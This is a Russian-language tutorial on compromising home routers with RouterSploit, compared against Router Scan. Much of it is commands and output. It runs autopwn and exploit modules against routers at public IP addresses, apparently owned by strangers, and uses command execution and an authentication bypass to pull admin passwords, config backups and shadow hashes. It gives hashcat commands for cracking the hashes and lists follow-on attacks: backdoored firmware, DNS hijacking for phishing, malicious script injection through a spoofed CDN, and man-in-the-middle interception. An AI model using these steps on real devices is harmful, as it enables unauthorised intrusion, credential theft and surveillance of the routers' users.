RouterSploit VS Router Scan by Stas’M
Программы RouterSploit и Router Scan by Stas’M предназначены для компрометации роутеров. Но они очень разные, чтобы в этом убедиться, достаточно взглянуть на их скриншоты. Это Router Scan by Stas’M:
А это RouterSploit (да, там нет графического интерфейса):
Кроме общей цели, у программ можно найти ещё несколько общих черт:
- обе программы пытаются зайти на проверяемое устройство с заводскими учётными данными
- проводят брутфорс по небольшим высокоэффективным словарям
- используют эксплойты для роутеров.
Различий намного больше. Router Scan by Stas’M имеет несколько модулей сканирования, основной из которых имеет реализацию двух методов проверки, а остальные расширяют функциональность. Основной модуль сканирования достаточно быстро ищет цели. Проверка проходит полностью автоматически: перебор учётных данных, использования эксплойта, если он имеется для данной модели. Все результаты выводятся в интуитивно понятном и гибком в настройке графическом интерфейсе, а также могут быть сохранены в файлы разных форматов. В целом, и задумка, и реализация Router Scan by Stas’M выполнены на 5+, и программа уже давно приобрела свою заслуженную популярность.
В RouterSploit всё по-другому: без графического интерфейса, все цели задаются вручную, причём нельзя задать подсеть – каждый роутер нужно указывать индивидуально. Если уязвимость заключается в удалённом выполнении кода, то именно шелл для удалённого выполнения кода вы и получаете (не во всех эксплойтах автоматически раскручивается уязвимость до получения логина и пароля).
Даже количество эксплойтов и поддерживаемых роутеров у этих программ разное. В RouterSploit больше реализовано эксплойтов чем в последней публичной версии Router Scan by Stas’M. Также RouterSploit поддерживает брутфорс различных сетевых служб. Что качается поддержки роутеров для проверки/брутфорса учётных данных, то здесь список у Router Scan by Stas’M длиннее, хотя у RouterSploit есть универсальные модули, которые могут применяться для различных моделей. Хотя эти модули всё равно нужно настраивать вручную, и не каждый сумеет справиться со всеми параметрами HTTP формы.
Router Scan by Stas’M «из коробки» поддерживает использование прокси, а в RouterSploit таких опций нет.
Вывод следующий: это две довольно разные программы, и если не достигнут результат с помощью одной, то следует попробовать вторую.
Проверка на уязвимость по всем эксплойтам в RouterSploit
Зачаточная автоматизация в RouterSploit всё-таки присутствует. Можно, по крайней мере, проверить один роутер на подверженность сразу всеми эксплойтами. Для этого есть модуль autopwn. В качестве тестового роутера возьмём роутер на IP 83.17.188.82 и на порту 80.
Запустите RouterSploit. В зависимости от способа установки это делается так:
routersploit
или так:
./rsf.py
В запущенном RouterSploit вводим (используйте TAB для автоматического завершения):
use scanners/autopwn
Введём
show options
чтобы посмотреть опции:
В данном случае нам нужно установить IP:
set target 83.17.188.82
Порт устанавливать не нужно, поскольку он совпадает с портом по умолчанию. В противном случае для установки порта используется примерно такая команда:
set port 80
Для запуска модуля достаточно набрать
run
Строки
[+] exploits/dlink/dir_645_815_rce is vulnerable
[+] exploits/dlink/dir_300_600_rce is vulnerable
[+] Device is vulnerable!
- exploits/dlink/dir_645_815_rce
- exploits/dlink/dir_300_600_rce
говорят нам о том, что роутер уязвим к двум эксплойтам.
Чтобы отменить выбор модуля наберите
back
или сразу выберите другой модуль.
Проверка в RouterSploit на подверженность эксплойтам роутера определённого производителя
Если мы знаем производителя тестируемого роутера, но не знаем его точную модель, и при этом не хотим проверять его всеми эксплойтами, то мы можем воспользоваться сканером эксплойтов, которые при сканировании задействуют только определённые модули.
Допустим, я знаю, что тестируемый роутер произведён D-Link. Тогда я выбираю соответствующий сканер:
use scanners/dlink_scan
Смотрю его опции:
show options
Устанавливаю цель:
set target 83.17.188.82
И запускаю:
run
Результат совпадает с предыдущим, но времени потрачено меньше и меньше сделано запросов:
Проверка в RouterSploit на конкретную уязвимость
Производителя роутера и его модель можно узнать разными способами. Иногда достаточно посмотреть на страницу аутентификации:
Если мы знаем производителя роутера (D-Link) и его модель (DIR-300), и среди эксплойтов мы нашли нечто созвучное - dlink/dir_300_600_rce, то мы можем проверить, уязвим ли тестируемый роутер именно к этому эксплойту.
Выбираем его для использования:
use exploits/dlink/dir_300_600_rce
Смотрим информацию о нём:
show info
Как видим, наше устройство присутствует в списке уязвимых.
Установим цель (и порт, если это необходимо):
set target 83.17.188.82
Если мы не хотим эксплуатировать уязвимость, а хотим только проверить, подвержен ли роутер этой уязвимости, то проверка запускается так:
check
Как видим, цель уязвима.
Использование эксплойтов RouterSploit
После того, как вы нашли уязвимость, которой подвержен роутер, выберите соответствующий модуль:
use exploits/dlink/dir_300_600_rce
Установим цель (и порт, если это необходимо):
set target 83.17.188.82
И запустите эксплуатацию:
run
Посмотрите на изменившееся приглашение командной строки:
cmd >
Оно означает, что вводимые команды будут переданы непосредственно на уязвимый роутер:
Использование результатов RouterSploit
Эксплойты RouterSploit позволяют:
- получить пароль в виде простого текста
- получить пароль в виде MD5 хеша
- выполнять команды на удалённом роутере
- лазить по директориям роутера и скачивать файлы
- аутентифицироваться без пароля
- изменять пароль
Все уязвимости в той или иной мере позволяют изменять настройки сетевого оборудования для реализации последующих атак. Рассмотрим векторы атак несколько подробнее.
Использование учётных данных, полученных в открытом виде
Варианты, которые дают возможность аутентифицироваться (пароль в открытом виде, аутентификация без пароля, изменение пароля) сводятся к тому, что мы получаем вход в административную панель роутера и полный контроль над его настройками.
Это даёт возможность атакующему:
- перепрошить роутер прошивкой с закладками (сложный вариант, требует навыков распаковки/упаковки прошивок встроенных устройств, глубокое понимание работы ОС Linux; доступно не для всех роутеров, но в случае успеха даёт безграничные возможности управления роутером и слежения за трафиком);
- оставить пользователей роутера без Интернет-подключения (простой вариант, достаточно изменить настройки на неверные);
- если роутер поддерживает ту или иную реализацию VPN, то возможно подключить его к специально настроенному VPN злоумышленника, при этом становятся доступны все возможности атаки человек-посередине (пример концепта здесь);
- узнать пароль от Wi-Fi, включить модуль Wi-Fi если он отключён (в случае особой важности, можно прибыть в место расположения роутера, для проведения атаки человек-посередине);
- изменение настроек DNS на IP вашего (подложного) DNS (вариант средней сложности, более подробно про DNS прокси будет чуть ниже).
Всё сказанное справедливо для обхода аутентификации и уязвимостей, позволяющих изменить пароль.
Как использовать удалённое выполнение кода на роутерах
Имея возможность выполнять команды на роутере, можно попытаться найти пароль от его административной панели. Прошивка роутера – это сильно облегчённый, обрезанный Linux. Обычно из-за ограниченности ресурсов на роутере не устанавливаются серверы СУБД, поэтому пароль должен храниться где-то прямо в обычном текстовом файле. Конкретное расположение пароля, а также его вид (в открытом виде или в виде хеша) зависит от конкретной модели роутера.
Я покажу пример удачного поиска пароля, думаю, общий смысл будет понятен.
Возвращаемся к роутеру, который мы тестировали выше. Как я уже сказал, на роутерах ОС сильно обрезана и в ней могут отсутствовать многие привычные команды, такие как find и locate, с помощью которых можно было бы ускорить поиск файлов по их имени и содержимому.
Тем не менее, бывает достаточно двух команд
ls -l путь_до_каталога # для просмотра файлов, содержащихся в директориях
cat имя_файла # для просмотра содержимого файлов
Посмотрим содержимое корневой директории:
ls -l /
В папке /etc ничего похожего на файл с паролем я не нашёл:
cmd > ls -l /etc
drwxrwxr-x 3 0 0 27 Oct 27 2011 templates
drwxrwxr-x 17 0 0 3547 Oct 27 2011 services
drwxrwxr-x 6 0 0 961 Oct 27 2011 scripts
lrwxrwxrwx 1 0 0 20 Oct 27 2011 resolv.conf -> /var/etc/resolv.conf
lrwxrwxrwx 1 0 0 12 Oct 27 2011 ppp -> /var/etc/ppp
lrwxrwxrwx 1 0 0 17 Oct 27 2011 iproute2 -> /var/etc/iproute2
drwxrwxr-x 2 0 0 251 Oct 27 2011 init0.d
drwxrwxr-x 2 0 0 178 Oct 27 2011 init.d
lrwxrwxrwx 1 0 0 10 Oct 27 2011 hosts -> /var/hosts
drwxrwxr-x 2 0 0 1204 Oct 27 2011 events
drwxrwxr-x 2 0 0 390 Oct 27 2011 defnodes
drwxrwxr-x 2 0 0 187 Oct 27 2011 config
lrwxrwxrwx 1 0 0 7 Oct 27 2011 TZ -> /var/TZ
-rw-rw-r-- 1 0 0 512 Oct 27 2011 RT5350_AP_1T1R_V1_0.bin
Зато в папке /var
cmd > ls -l /var
drwxr-xr-x 4 0 0 0 Jan 1 00:00 etc
drwxr-xr-x 2 0 0 0 Jan 1 1970 log
drwxr-xr-x 2 0 0 0 Jan 4 01:01 run
drwxr-xr-x 2 0 0 0 Jan 1 1970 sealpac
drwxr-xr-x 2 0 0 0 Jan 4 01:01 tmp
drwxr-xr-x 2 0 0 0 Jan 1 1970 dnrd
drwxr-xr-x 4 0 0 0 Jan 1 1970 htdocs
-rw-r--r-- 1 0 0 46 Jan 1 00:00 TZ
-rw-r--r-- 1 0 0 14 Jan 1 1970 hosts
drwxr-xr-x 2 0 0 0 Jan 1 00:00 servd
-rw-r--r-- 1 0 0 23 Jan 1 00:00 passwd
drwxr-x--- 2 0 0 0 Jan 3 05:15 session
srwxr-xr-x 1 0 0 0 Jan 1 00:00 logs
srwxr-xr-x 1 0 0 0 Jan 1 00:00 gpio_ctrl
-rwxr-xr-x 1 0 0 346 Jan 1 00:00 killrc0
drwxr-xr-x 2 0 0 0 Jan 1 00:00 porttrigger
-rw-r--r-- 1 0 0 336 Jan 1 00:00 lld2d.conf
-rw-r--r-- 1 0 0 0 Jan 3 12:27 ping_result
-rw-r--r-- 1 0 0 0 Jan 4 01:01 cmd.result
Обнаружился файл passwd. Посмотрим его:
cat /var/passwd
"admin" "szafazpl" "0"
Кажется, всё оказалось даже проще, чем я предполагал.
Полазив ещё немного, я обнаружил ещё один файл:
cat /var/etc/hnapasswd
admin:szafazpl
Зайдём на страницу аутентификации:
Смотрите какая красота, даже есть капча. К сожалению, в данном случае это не помогло владельцу роутера. Вводим учётные данные admin:szafazpl и мы внутри:
Примерно также следует действовать при уязвимости «лазание по каталогам» (path traversal).
Если так просто найти пароль не удаётся, то нужно исследовать исходный код HTML страниц и скриптов, отвечающих за аутентификацию, чтобы определить, к каким файлам они обращаются. Если на это хватает привилегий, можно модифицировать исходный код этих файлов, чтобы при получении пароля они сохраняли его в открытом виде.
Ещё один пример – проверю свой собственный роутер (вам тоже рекомендую начать с этого). Обычно роутеры в локальной сети имеют IP 192.168.0.1 или 192.168.1.1, веб-интерфейс обычно «висит» на портах 80 или 8080. Чтобы точно узнать IP своего роутера наберите
ip route
Будет выведено что-то вроде:
default via 192.168.0.1 dev eth0 proto static
192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.133 metric 1
Здесь 192.168.0.1 – это и есть IP роутера.
Можете также использовать команду в одну строку:
ip route show | grep -Ei 'default via' | awk '{ print $3 }'
Она сразу выведет нужный IP:
У меня Asus RT-N66U, поэтому:
rsf > use scanners/asus_scan
rsf (Asus Scanner) > set target 192.168.0.1
[+] {'target': '192.168.0.1'}
rsf (Asus Scanner) > run
[*] Running module...
[+] exploits/asus/infosvr_backdoor_rce is vulnerable
[-] exploits/asus/rt_n16_password_disclosure is not vulnerable
[*] Elapsed time: 0.0813660621643 seconds
[+] Device is vulnerable!
- exploits/asus/infosvr_backdoor_rce
К моему ужасу, роутер оказался уязвимым. В этой ситуации мои километровые пароли со спец. символами потеряли свою силу. Давайте углубимся:
rsf (Asus Scanner) > use exploits/asus/infosvr_backdoor_rce
rsf (Asus Infosvr Backdoor RCE) > set target 192.168.0.1
[+] {'target': '192.168.0.1'}
rsf (Asus Infosvr Backdoor RCE) > run
[*] Running module...
[+] Target is vulnerable
[*] Invoking command loop...
[*] Please note that only first 256 characters of the output will be displayed or use reverse_tcp
cmd >
Нас предупреждают, что будут показаны только первые 256 символов. Если нас это не устраивают, то рекомендуют использовать reverse_tcp (например, с netcat). В связи с этим команда ls -l превращается просто в ls, чтобы в выводе было больше полезной информации.
В этом роутере имена пользователей и их пароли хранятся в типичных для ОС Linux файлах:
cmd > cat /etc/passwd
rootforroute:x:0:0:rootforroute:/root:/bin/sh
nas:x:100:100:nas:/dev/null:/dev/null
nobody:x:65534:65534:nobody:/dev/null:/dev/null
rootforroute:x:500:500:::
mial:x:501:501:::
cmd > cat /etc/passwd.custom
rootforroute:x:500:500:::
mial:x:501:501:::
cmd > cat /etc/shadow
rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:
nobody:*:0:0:99999:7:0:0:
nas:*:0:0:99999:7:0:0:
В операционных системах Linux информацию о пользователях можно узнать из файла /etc/passwd. Не смотря на название, в этом файле больше нет паролей. Уже достаточно давно они переехали в файл /etc/shadow, причём хранятся там в виде хешей. Подробности о взломе паролей из файла /etc/shadow ниже.
Взлом MD5 хеша пароля
Чтобы можно было использовать пароль в виде MD5 хеша, его нужно расшифровывать брутфорсом. Для начала попробуйте MD5 хеш просто загуглить, есть вероятность, что он сразу найдётся в одной из радужных таблиц.
Если с радужными таблицами не повезло, то брутфорсить лучше с использованием видеокарты и программы Hashcat. Шансы на удачу очень велики, поскольку MD5 очень быстро считается а, следовательно, и перебирается. Например, на моём стареньком ноутбуке (и процессор и видеокарта с индексом M, т.е. мобильные, т.е. с пониженным потреблением энергии и, следовательно, пониженной производительностью (процессор Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz и видеокарта Radeon HD 7870M)) перебор идёт со скоростью 1300 мегахешей в секунду, т.е. 1.300.000.000 хешей в секунду. На современных настольных компьютерах с хорошей видеокартой должно получаться минимум на один порядок больше (плюс ещё один ноль в конце). А на специально собранных для перебора хешей компьютерах с несколькими видеокартами, вполне возможно достижения скоростей больших чем у меня на два порядка. Т.е. у пароля средней длины (6-10 символов) в котором использовались большие и маленькие буквы, а также цифры, не остаётся шансов остаться не узнанным.
Пример запуска перебора хеша:
C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8 8743b52063cd84097a65d1633f5c74f5 ?1?1?1?1?1?1?1?1?1
Здесь:
- C:\Users\Alex\Downloads\hashcat-3.10\ - путь до папки, где расположена программа Hashcat
- hashcat64.exe – файл программы – у меня 64-битная система
- --opencl-device-types 1,2 – определённые фиксы для моей системы (подробности здесь)
- -a 3 – выбор атаки по маске
- -1 ?l?d?u – пользовательский набор символов, включает в себя большие и маленькие буквы, а также цифры
- -m 0 – номер хеша (для каждого вида хеша нужно смотреть его персональный номер в справке. 0 соответствует MD5)
- -i – включить приращение маски (увеличение количества символов)
- --increment-min=1 – начать искать хеши с односимвольных кандидатов в пароли
- --increment-max=8 – остановить приращение на 8 символах
- 8743b52063cd84097a65d1633f5c74f5 – хеш, который нужно взломать
- ?1?1?1?1?1?1?1?1?1 – маска (в данном случае 8 пользовательских символов, которые заданы выше).
Чтобы лучше разбираться в работе Hashcat, рекомендуется ознакомиться с её справкой и доступным материалом по этой программе.
Но иногда нужно включить голову, а не перебор на видеокарте. Давайте рассмотрим пример:
Имеется роутер 151.28.181.138. Это какая-то модель Belkin. Соответственно:
use scanners/belkin_scan
set target 151.28.181.138
run
Сразу две уязвимости. Одна заключается в обходе аутентификации, а вторая в раскрытии пароля. Хочу пароль!
rsf (Belkin Scanner) > use exploits/belkin/g_n150_password_disclosure
rsf (Belkin G & N150 Password Disclosure) > set target 151.28.181.138
[+] {'target': '151.28.181.138'}
rsf (Belkin G & N150 Password Disclosure) > run
[*] Running module...
[+] Exploit success
Login MD5 Password
----- ------------
admin 8c9ba6053738777b4f88129c174fe2fc
Нельзя сказать, что совсем нет результата. Как я уже сказал, MD5 хорошо поддаётся брутфорсу, поэтому я зарядил команду:
C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8 8c9ba6053738777b4f88129c174fe2fc ?1?1?1?1?1?1?1?1?1
Но пока система привычно шумит вентиляторами, решил попробовать второй эксплойт:
rsf (Belkin G & N150 Password Disclosure) > use exploits/belkin/auth_bypass
rsf (Belkin Auth Bypass) > set target 151.28.181.138
[+] {'target': '151.28.181.138'}
rsf (Belkin Auth Bypass) > run
[*] Running module...
[+] Exploit success, you are now logged in!
rsf (Belkin Auth Bypass) >
Эксплойт оказался успешным и говорит, что я внутри. Судя по всему, нужно открыть браузер:
Я и правда внутри. Можно побродить по настройкам, но я случайно увидел мою любимую опцию «Save/Backup Settings».
Сохраняю файл с настройками себе.
Открываю его и ищу по ключевому слову «pass», там имеется несколько строк с таких вхождением, в том числе такие две строчки:
wan0_pppoe_passwd=razorjack
dsl3_pppoe_passwd=razorjack
И хотя понятно, что это не пароль от устройства, тем не менее, видно, что пользователь имеет склонность использовать одинаковые пароли. А что если…
echo -n razorjack | md5sum
8c9ba6053738777b4f88129c174fe2fc
Ну точно, 8c9ba6053738777b4f88129c174fe2fc – это хеш от razorjack.
Нажимаю в верхнем правом углу Logout, затем Login и вхожу как белый человек с паролем, а не через «чёрный вход».
Взлом хешей из файла /etc/shadow
Чуть выше я добыл следующую строку из файла /etc/shadow роутера:
rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:
Т.е. имя пользователя в системе rootforroute, а пароль сохранён в виде хеша.
Ещё несколько примеров из разных систем (в том числе настольных Linux):
mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::
root:$6$DCSszlW5$HTYUvmUbb2QthFKs/RtTpMGaUF/DFc1MKRHkzrvybER2EORG3Mmnjojrh0aZ/BzbQv5UU51Ydf2.2P38yeDQU1:16964::::::
root:$6$cdL/Ap7b$UZjDNb6QKZEDgeScAzt0HO3p9WxEGdg6bOtVRyd.kwS/oUpMl23cBqkAtiQb/xI
mial:$6$bHrtO6qB$YlE/hUkde6k.fNQkIVFqph6mfRwZme8mWb/yOANj7fyon3q.b6A7pxuMleOEk3U
Обратите внимание на цифры 1 и 6 между знаками $. Также ещё там могут быть цифры 2 и 5. Они означают алгоритм хеша. Расшифровка следующая:
- 1 = MD5
- 2 = Blowfish
- 5 = SHA-256
- 6 = SHA-512
В Hashcat хеши имеют следующие номера:
500 | md5crypt $1$, MD5(Unix)
3200 | bcrypt $2*$, Blowfish(Unix)
7400 | sha256crypt $5$, SHA256(Unix)
1800 | sha512crypt $6$, SHA512(Unix)
В строках вида
rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:
хеш для взлома (там ещё есть соль, но в данном случае это не важно) расположен между первым и вторым двоеточием, т.е. в приведённой строке хешем для взлома является
$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.
В команде для Hashcat нужно указать соответствующий номер хеша (-m 500), получается следующая команда для конкретно данного примера:
C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 500 -i --increment-min=1 --increment-max=8 $1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR. ?1?1?1?1?1?1?1?1?1
Ещё один пример строки из /etc/shadow:
mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::
Хеш для взлома также расположен между первым и вторым двоеточием, это
$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01
Указываем соответствующий номер хеша (-m 1800):
C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 1800 -i --increment-min=1 --increment-max=8 $6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01 ?1?1?1?1?1?1?1?1?1
Использование смены DNS на роутере
Некоторые эксплойты не могут ничего, кроме как поменять настройки DNS. Естественно, имея пароль от учётной записи администратора, также можно поменять DNS. Даже без пароля администратора, но имея возможность выполнять команды на роутере, можно отредактировать конфигурационный файл для смены сервера имён.
Смена DNS на свой DNS прокси может дать следующее:
- Блокировка Интернет-подключения на роутере (делается просто, но, скорее всего, также быстро будет исправлена владельцем роутера)
- Сбор статистики о посещённых ресурсах и установленном ПО у клиентов роутера
- Выполнение фишинговых атак для кражи паролей (кроме DNS прокси требуется настройка веб-сервера)
- Внедрение кода на веб-страницы (например, для JQuery, встраиваемого в сайты посредством CDN, подменяется DNS сервера CDN, в результате код JQuery подгружается с сервера злоумышленника, который кроме самой библиотеки, добавил злонамеренный код, показывающий рекламу, ворующий пароли, следящий на нажатыми клавишами или выполняющий фишинговые и т.п. атаки)
- Фишинговые атаки с целью заражения бэкдором компьютеров пользователей роутера.
Некоторые приёмы работы с DNS прокси показаны в статье "Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS".
Проверка заводских паролей и брутфорс учётных данных в RouterSploit
RouterSploit позволяет проверять заводские пароли и брутфорсить следующие службы:
- ftp
- ssh
- telnet
- http basic auth
- http form auth
- snmp
На роутерах обычно используется http аутентификация через форму или http basic аутентификация. Остальные службы ftp, ssh, telnet и snmp встречаются не особо часто. Чтобы определить, запущены ли они на роутере, нужно просканировать открытые порты:
sudo nmap IP_роутера
Стандартными портами служб ftp, ssh, telnet и snmp являются порты 21, 22, 23 и 161.
Соответствующие модули расположены в директории creds и вряд ли возникнут проблемы при использовании модулей для служб http basic auth, ftp, ssh, telnet и snmp. Даже файлы с паролями уже поставляются с программой и уже выбраны в качестве значений опций по умолчанию. Только обратите внимание, что каждый модуль имеется в двух вариантах: один проверяет заводские пароли, а второй осуществляет перебор по словарю.
Что касается http аутентификации с использованием формы, то здесь абсолютно те же сложности, что и при брут-форсе форм веб-сайтов. Это отдельная непростая наука, чтобы примерно понимать сложности и порядок действий, рекомендуется прочитать «Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa».
Заключение
RouterSploit имеет хорошую коллекцию эксплойтов и достаточно удобную организацию работы с ними в отношении отдельных роутеров.
Реализация модуля HTTP аутентификации через форму (пожалуй, самый распространённый вариант входа в настройки роутера) можно считать сделанной для галочки. В том виде, как он сделан сейчас, практически никто не сможет им воспользоваться. А те, кто смогут всё правильно в нём настроить, скорее всего, воспользуются более привычным для них инструментом, тем же самым patator.
Модуль HTTP аутентификации через форму должен быть сделан персонально для каждой модели роутера, как это реализовано в Router Scan by Stas’M – иначе в нём нет смысла.
Для реализации подобного, необходимо предварительно создать модули для точного определения версий и соответствующую БД, что, судя по всему, даже не входит в планы.
Аналогично с эксплойтами для удалённого выполнения кода. Для большинства моделей ничто не мешало авторам добавить пару строк для считывания и вывода логина и пароля, вместо показа приглашения командной строки.
Конечно я помню, что RouterSploit бесплатен, с открытым исходным кодом. И если в подобных программах что-то не хватает, то нужно не жаловаться, а самому доделывать для себя и сообщества. Главное ощущение, которое осталось от этой программы – хочется всё переделать, сделать лучше, логичнее, законченнее и проще.

























